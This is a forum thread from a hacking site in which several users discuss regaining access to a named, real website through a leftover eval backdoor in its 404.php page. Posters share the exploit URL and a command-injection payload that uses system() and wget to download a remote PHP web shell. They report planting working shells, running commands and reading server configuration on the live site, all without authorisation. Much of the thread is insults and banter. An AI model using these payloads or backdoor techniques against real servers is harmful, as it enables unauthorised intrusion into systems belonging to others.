

Forum:[Hack Forums](#)

Thread: [Shell using Custom Eval code?](#)

Team4o4 - July 8, 2014, 12:14 pm

Hello everyone, I had a shelled server before, but it got deleted, but one of my file modifications still exists.

On (404.php) page, it evaluates a certain variable(x). I have been trying for over an hour to re-shell and I don't know why I can't.

[http://www.lakewaymud.org/404.php?x=phpinfo\(\);](http://www.lakewaymud.org/404.php?x=phpinfo();)

PM me if you shell the server with the location of the shell please.

flmnjne - July 8, 2014, 1:51 pm

Sent you a seashell.??

Cathal - July 8, 2014, 3:14 pm

Rather than hand you a shell, can I ask you what you tried to do first? That way you might actually learn something.

RRRoooRRR - July 8, 2014, 5:09 pm

How coincidental that I have a shell on that same server, thats not weird at all.

-Chosen-

ichi - July 8, 2014, 11:37 pm

(Jul 8, 2014 05:09 PM)-Chosen- Wrote: [\[CITE\]](#) How coincidental that I have a shell on that same server, thats not weird at all.

-Chosen-

Lmao some things are too funny at 2 AM

Team4o4 - July 9, 2014, 8:07 am

(Jul 8, 2014 03:14 PM)Cathal Wrote: [\[CITE\]](#) Rather than hand you a shell, can I ask you what you tried to do first? That way you might actually learn something.

I don't know why this didn't work the first time, but I attempted to CURL to a text file of a PHP shell then file_put_contents into a local file. My first attempt at this failed, however the one I tried right after posting this thread, worked!

(Jul 8, 2014 05:09 PM)-Chosen- Wrote: [\[CITE\]](#) How coincidental that I have a shell on that same server, thats not weird at all.

-Chosen-

Sorry buddy, I'm testing my shell that I'm developing. I'm not going to screw it up for ya.

Cathal - July 9, 2014, 8:12 am

(Jul 9, 2014 08:07 AM)Team4o4 Wrote: [\[CITE\]](#) *snip*
Why bother using PHP when no functions are disabled?

Code backdoor.php?cmd=system('wget http://example.org/shell.ext');

Team4o4 - July 9, 2014, 8:16 am

(Jul 9, 2014 08:12 AM)Cathal Wrote: [\[CITE\]](#) Why bother using PHP when no functions are disabled?
Code backdoor.php?cmd=system('wget http://example.org/shell.ext');
? Derp, im dumb, that one would've totally worked too:
system('wget <http://example.org/shell.ext> -O file.php');

flmnjne - July 9, 2014, 8:26 am

(Jul 9, 2014 08:12 AM)Cathal Wrote: [\[CITE\]](#) Why bother using PHP when no functions are disabled?
Code backdoor.php?cmd=system('wget http://example.org/shell.ext');
I tried this and it didn't work for some reason. Perhaps it caused some error in the php backend?

Also, any php uploaded/downloaded to the document root would not be evaluated ([see here](#)), so I just uploaded it to a subdir ("xls" in this case).

Team4o4 - July 9, 2014, 8:50 am

(Jul 9, 2014 08:26 AM)flmnjne Wrote: [\[CITE\]](#) I tried this and it didn't work for some reason. Perhaps it caused some error in the php backend?

Also, any php uploaded/downloaded to the document root would not be evaluated ([see here](#)), so I just uploaded it to a subdir ("xls" in this case).

But but... I just tried using his code, and I got a working shell in the root directory...? P.S. It's a 404 page shell

<http://www.lakewaymud.org/404s.php>

Password text field is all the way at the bottom in the middle.

---EDIT---

Just found out why that dick.php script wasn't working... For one reason or another, that server doesn't like PHP files only starting with <?, they must start with <?PHP in order to run. I changed this in your script and it works now, however I shall change it back now because other people would destroy this server.

Cathal - July 9, 2014, 8:54 am

(Jul 9, 2014 08:26 AM)flmnjne Wrote: [\[CITE\]](#) I tried this and it didn't work for some reason. Perhaps it caused some error in the php backend?

Also, any php uploaded/downloaded to the document root would not be evaluated ([see here](#)), so I just uploaded it to a subdir ("xls" in this case).

I honestly thought [this](#) thread was a joke, and you actually knew your shit. My mistake.

Code wget google.com -O dipshit.html

--15:49:21-- http://www.google.com/index.html

=> `dipshit.html'

Resolving www.google.com... 74.125.131.105, 74.125.131.104, 74.125.131.103, ...

Connecting to www.google.com[74.125.131.105]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]

OK 854.64 KB/s

15:49:21 (854.64 KB/s) - `dipshit.html' saved [19600]

htdocs>

<http://www.lakewaymud.org/dipshit.html>

Code htdocs>echo '<?php phpinfo(); ?>' > wrongagain.php

htdocs>

<http://www.lakewaymud.org/wrongagain.php>

(Jul 9, 2014 08:50 AM)Team4o4 Wrote: [\[CITE\]](#) Just found out why that dick.php script wasn't working... For one reason or another, that server doesn't like PHP files only starting with <?, they must start with <?PHP in order to run. I changed this in your script and it works now, however I shall change it back now because other people would destroy this server.

Code htdocs>cat /usr/local/php-5.4.23/lib/php.ini | grep 'short_open_tag'

; - short_open_tag = Off [Portability]

short_open_tag = Off

htdocs>

RRRoooRRR - July 9, 2014, 9:37 am

(Jul 9, 2014 08:07 AM)Team4o4 Wrote: [\[CITE\]](#) I don't know why this didn't work the first time, but I attempted to CURL to a text file of a PHP shell then file_put_contents into a local file. My first attempt at this failed, however the one I tried right after posting this thread, worked!

Sorry buddy, I'm testing my shell that I'm developing. I'm not going to screw it up for ya.
Lol it doesn't bother me bro, just a thought lol they run backups from time to time

Team4o4 - July 9, 2014, 10:08 am

(Jul 9, 2014 09:37 AM)-Chosen- Wrote: [\[CITE\]](#) Lol it doesn't bother me bro, just a thought lol they run backups from time to time

Sounds good! Have you managed to root it?

flmnjne - July 9, 2014, 11:24 am

(Jul 9, 2014 08:54 AM)Cathal Wrote: [\[CITE\]](#) I honestly thought [this](#) thread was a joke, and you actually knew your shit. My mistake.

Code wget google.com -O dipshit.html

--15:49:21-- http://www.google.com/index.html

=> `dipshit.html'

Resolving www.google.com... 74.125.131.105, 74.125.131.104, 74.125.131.103, ...

Connecting to www.google.com[74.125.131.105]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]

OK 854.64 KB/s

15:49:21 (854.64 KB/s) - `dipshit.html' saved [19600]

htdocs>

<http://www.lakewaymud.org/dipshit.html>

Code htdocs>echo '<?php phpinfo(); ?>' > wrongagain.php

htdocs>

<http://www.lakewaymud.org/wrongagain.php>

```
Code htdocs>cat /usr/local/php-5.4.23/lib/php.ini | grep 'short_open_tag'
; - short_open_tag = Off      [Portability]
short_open_tag = Off
htdocs>
```

Lol I was high who gives a fuk. Lord now mr cathel thinks lowly of me what am I gonna do...

Tony S - July 9, 2014, 2:06 pm

(Jul 9, 2014 08:54 AM)Cathal Wrote: [\[CITE\]](#) Code htdocs>cat /usr/local/php-5.4.23/lib/php.ini | grep 'short_open_tag'
; - short_open_tag = Off [Portability]
short_open_tag = Off
htdocs>
Gah. Blah. Unneeded cat is unneeded. Bleh.

(Jul 9, 2014 11:24 AM)flmnjne Wrote: [\[CITE\]](#) Lol I was high who gives a fuk. Lord now mr cathel thinks lowly of me what am I gonna do...

I just pulled up the latest release of SkiddyIdiotTranslator v1.3 and popped in what you said. Here's what it came back with (for all of the non-idiot's reading this thread) -

```
Code > I'M AN IDIOT AND CRITICISM MAKES ME CRY
Your attitude stinks.
```

flmnjne - July 9, 2014, 2:11 pm

(Jul 9, 2014 02:06 PM)Tony Spilotro Wrote: [\[CITE\]](#) Gah. Blah. Unneeded cat is unneeded. Bleh. grep "Take the dildo out of your ass?" /usr/local/php-5.4.23/lib/php.ini

I just pulled up the latest release of SkiddyIdiotTranslator v1.3 and popped in what you said. Here's what it came back with -

```
Code > WHY DO I GIVE A SHIT
Your attitude stinks.
```

Thank you for your support I will writing your bank statement next tuesday.